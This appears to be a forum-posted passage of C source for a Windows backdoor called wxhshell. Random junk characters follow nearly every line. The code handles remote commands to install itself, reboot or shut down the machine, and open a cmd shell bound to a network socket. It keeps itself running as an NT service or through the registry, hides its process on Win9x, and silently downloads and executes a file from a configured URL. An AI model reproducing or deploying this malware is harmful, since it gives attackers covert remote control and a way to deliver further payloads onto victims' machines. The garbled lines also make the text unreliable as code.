    switch(cmd[0]) { T(f/ ?_%  
  Min ^>  
  // 帮助 ebT:/wu,2  
  case '?': { =x<ge_Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |K.mP4CKY  
    break; Qa.<K{m#?  
  } EQf[,  
  // 安装 9[G[$c  
  case 'i': { <_3b1VhZ  
    if(Install()) |&FkksNAl\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wQe_vY  
    else X:6c}p%,!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &?q/1vLa  
    break; *MJX?  
    } W_kHj}dj,p  
  // 卸载 `glBV`?^  
  case 'r': { lrv3fPIW  
    if(Uninstall()) -amBB7g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zrvz;p@~  
    else a#>Yh;FA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5[A@ gw0u  
    break; ~ vJ,`?  
    } W7 Cc  
  // 显示 wxhshell 所在路径 c2&q*]?l;  
  case 'p': { <)u`~$n2  
    char svExeFile[MAX_PATH]; 5qr'.m  
    strcpy(svExeFile,"\n\r"); b]x4o#t  
      strcat(svExeFile,ExeFile); Pb?$t  
        send(wsh,svExeFile,strlen(svExeFile),0); oJ4 AIQjB  
    break; @&1ZB6OCb:  
    } l y(>8F  
  // 重启 AS\F{ !O  
  case 'b': { c )G3k/T5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4WJ.^(  
    if(Boot(REBOOT)) cFeXpj?GV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yls ^cyX  
    else { v#.r.{t  
    closesocket(wsh); '=Rs/EDME  
    ExitThread(0); 7cTV?nc  
    } t0IEaj75c  
    break; <-[wd.M_  
    } pov)Z):}G<  
  // 关机 gLy&esJl1  
  case 'd': { m06ALD_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {buo^kgj`]  
    if(Boot(SHUTDOWN)) @}@Z8$G^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O*0l+mop  
    else { YhDtUt}?  
    closesocket(wsh); 8=gjY\Dp  
    ExitThread(0); M+w=O!dq  
    } ptU \[Tq  
    break;  *T5!{  
    } w]]8dz  
  // 获取shell UPG9)aF  
  case 's': {  \4v]7SV  
    CmdShell(wsh); XDFx.)t  
    closesocket(wsh); ~zJ?H<>  
    ExitThread(0); Ib+Y~ XYR  
    break; V+VkY3  
  } 4<k9?)~(J  
  // 退出 /+@p7FqlE  
  case 'x': { }Q=!Y>Tc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dvt9u9Vg=  
    CloseIt(wsh); T`5bZu^c  
    break; kzt(i Y_6  
    } <})2#sZO!  
  // 离开 w-Da~[J  
  case 'q': { vTJ}8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %k'!Iq+  
    closesocket(wsh); @Ub"5Fl4  
    WSACleanup(); :TJv=T'p'  
    exit(1); 0l-Ef 1  
    break; {\c(ls{  
        } J2 'Nd'  
  } WJ4li@T7V  
  } /f|X(docI  
[3{W^WSOz  
  // 提示信息 ]Bjyi[#bg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X pBj%e:  
} PfC!lI BU  
  } I?ae\X@M  
%Ti}CwI`  
  return; kPF9Z "l  
}  (Q.waI  
T>R0T{A  
// shell模块句柄 1T-8K r  
int CmdShell(SOCKET sock) M#As0~y  
{ ] :BX!<  
STARTUPINFO si; sB c (gr  
ZeroMemory(&si,sizeof(si)); Q\ U:~g3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iZaI_\"__  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !f&Kf,#b`  
PROCESS_INFORMATION ProcessInfo; :=wT vz  
char cmdline[]="cmd"; }j*KcB_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N6 (  
  return 0; (^u1~1E 5  
} (`sH3&Kl  
"CUty"R 8  
// 自身启动模式 1n:8s'\  
int StartFromService(void) DGAX3N;r6{  
{ c6X}2a'  
typedef struct l zYnw)Pv  
{ 6P5Ih  
  DWORD ExitStatus; ?34 e-  
  DWORD PebBaseAddress; iVy7elT;R  
  DWORD AffinityMask; V`bi&1?6\  
  DWORD BasePriority; 5A sP5  
  ULONG UniqueProcessId; =gJb^ Gx(w  
  ULONG InheritedFromUniqueProcessId; ,'p2v)p^4  
}   PROCESS_BASIC_INFORMATION; \H=&`?  
!+L/Khw/ C  
PROCNTQSIP NtQueryInformationProcess; ]y,==1To  
rld67'KcE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `<\1[HJ\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X&0 uI*r  
RV5n,J  
  HANDLE             hProcess; :yeq(o K,  
  PROCESS_BASIC_INFORMATION pbi; dv.(7Y7.x  
fp[|M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'J6 M*vO  
  if(NULL == hInst ) return 0; D (h18  
YEj8S5"Su\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X!m9lV<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 20Z8HwQi  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b#K:_ac5  
Lz:(6`S  
  if (!NtQueryInformationProcess) return 0; BI $   
8erSt!oM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >|twyb  
  if(!hProcess) return 0; " QWq_R  
)tl.s)"N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +TQ47Z c  
hA33K #bC  
  CloseHandle(hProcess); *g[^.Sg  
/Rg*~Ers *  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )w0AC"2O~  
if(hProcess==NULL) return 0; p TeOW9  
"87ghj_}  
HMODULE hMod; 2U; t(,dn'  
char procName[255]; Qt/8r*Oe  
unsigned long cbNeeded; Fv Jd8kV  
H Ge0hl[n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `kU/NKq  
U5He?  
  CloseHandle(hProcess); \'CDRr"uw  
2EfF=Fm>  
if(strstr(procName,"services")) return 1; // 以服务启动 #3_*]8K.R  
XwlbJ=mf  
  return 0; // 注册表启动 aEWWFN  
} JXu$ew>q  
w\DVzeW(  
// 主模块 SL;9Q[  
int StartWxhshell(LPSTR lpCmdLine) ~d6DD;`K  
{ yb/%?DNQT  
  SOCKET wsl; 3Ei5pX=g  
BOOL val=TRUE; 'ul~7h;n  
  int port=0; Ygl%eP%Z  
  struct sockaddr_in door; I;Bjfv5  
UGuxV+Nwf  
  if(wscfg.ws_autoins) Install(); x >^Si/t  
JM\m)RH0  
port=atoi(lpCmdLine); r%.do;5  
sRrzp=D  
if(port<=0) port=wscfg.ws_port; |"9 #bU  
i}o[- S4  
  WSADATA data; ]@0NO;bK>F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :P@rkT3Qt  
cg*)0U-_(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a(v>Q*zNP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W@Lu;g.Yc  
  door.sin_family = AF_INET; [fKUyIY_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !V,{_(LT  
  door.sin_port = htons(port); {FG|\nPw  
%LZ({\5K#f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a\:VREKj,  
closesocket(wsl); kJ-*fe'S  
return 1; aBw2f[mo  
} cPU/t kc  
rn=m\Gv e  
  if(listen(wsl,2) == INVALID_SOCKET) { sSQs#+ &=[  
closesocket(wsl); `A,g] 1C:  
return 1; A%{W{UP8N  
} LJ(1RK GCz  
  Wxhshell(wsl); A^2Uzmzl?  
  WSACleanup(); mK [0L  
0#YX=vjX7  
return 0; _Jt 2YZdA  
1s{^X -  
} " $ew~;z  
DANw1 _X\  
// 以NT服务方式启动 )h8\u_U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QtJg ^2@  
{ *s>BG1$<  
DWORD   status = 0; 't9hXzAfW  
  DWORD   specificError = 0xfffffff; D.1J_Y=9  
{!K-E9_,S  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  HC a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wu4NLgkE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NSFs\a@1  
  serviceStatus.dwWin32ExitCode     = 0; ~~6^Sh60g  
  serviceStatus.dwServiceSpecificExitCode = 0; yG sz2T;w  
  serviceStatus.dwCheckPoint       = 0; B-T/V-c7  
  serviceStatus.dwWaitHint       = 0; { vN}<f`  
YNBHBK4;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,s_T pq  
  if (hServiceStatusHandle==0) return; Zb134b'  
UD)e:G[Gat  
status = GetLastError(); PGARXw+  
  if (status!=NO_ERROR)  ^_%kE%I  
{ j* *s^Sg  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vUnRi=:|  
    serviceStatus.dwCheckPoint       = 0; !QT'L,_  
    serviceStatus.dwWaitHint       = 0; 2"d!(J6}K  
    serviceStatus.dwWin32ExitCode     = status; u]ZqOJXxu  
    serviceStatus.dwServiceSpecificExitCode = specificError; KV*xApb9y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }irn'`I  
    return; bC3 F  
  } 4ON_$FUe  
_%x4ty  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i]#+1Hf  
  serviceStatus.dwCheckPoint       = 0; X2xuwA  
  serviceStatus.dwWaitHint       = 0; R3!@?mcr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Cua%1]"4w  
} e[Jem5C  
8l"O(B'#Z  
// 处理NT服务事件,比如:启动、停止 $L2%u8}8:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wfP5@!I  
{ "sKa`WN}  
switch(fdwControl) B=@ jWz"  
{ 9P<[7u  
case SERVICE_CONTROL_STOP: _"%B7FK  
  serviceStatus.dwWin32ExitCode = 0; zA;@@)hwR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; XZ/[v8  
  serviceStatus.dwCheckPoint   = 0; N|Sf=q?Ko  
  serviceStatus.dwWaitHint     = 0; <soz#}e  
  { k3t78Qg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6y5A"-  
  } thqS*I'#g  
  return; NKmoG\*  
case SERVICE_CONTROL_PAUSE: &l?+3$q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0ilCS[`b  
  break; fof2 xcH!  
case SERVICE_CONTROL_CONTINUE: Ol')7d&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o1/lZm{\~n  
  break; uyF|O/FC  
case SERVICE_CONTROL_INTERROGATE: \)48904^  
  break; 0liR  
}; x#N-&baS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `:eViVl6e  
} ,JEbd1Uf  
 A, PlvI  
// 标准应用程序主函数 1[*{(e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +]@Az.E  
{ lI/0:|l  
S',9g4(5  
// 获取操作系统版本 K"V:<a  
OsIsNt=GetOsVer(); aRc'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \Yoa:|%*y  
sIl33kmv  
  // 从命令行安装 |Cdvfk  
  if(strpbrk(lpCmdLine,"iI")) Install(); Kwhdu<6  
XIWm>IQ[)  
  // 下载执行文件 o."rxd  
if(wscfg.ws_downexe) { Sc]P<F7N]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2Nj9U#A  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8:.nEo'  
} e2C<PGUUB  
Ft@Wyo`^  
if(!OsIsNt) { !%Y~~'5 h  
// 如果时win9x,隐藏进程并且设置为注册表启动 ZE `lr+_Y  
HideProc(); 60Z]M+8y8  
StartWxhshell(lpCmdLine); ?Mp1~{8  
} - ~4+w  
else SjdZyJa  
  if(StartFromService()) F.)!3YE  
  // 以服务方式启动 J@9}`y=K  
  StartServiceCtrlDispatcher(DispatchTable); ~^vC,]hU  
else -K[782Q  
  // 普通方式启动 p[2GkP  
  StartWxhshell(lpCmdLine); jvVi%k  
b8f+,2Tk  
return 0; htPqT,L  
}
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只看该作者 1 发表于: 2006-10-10
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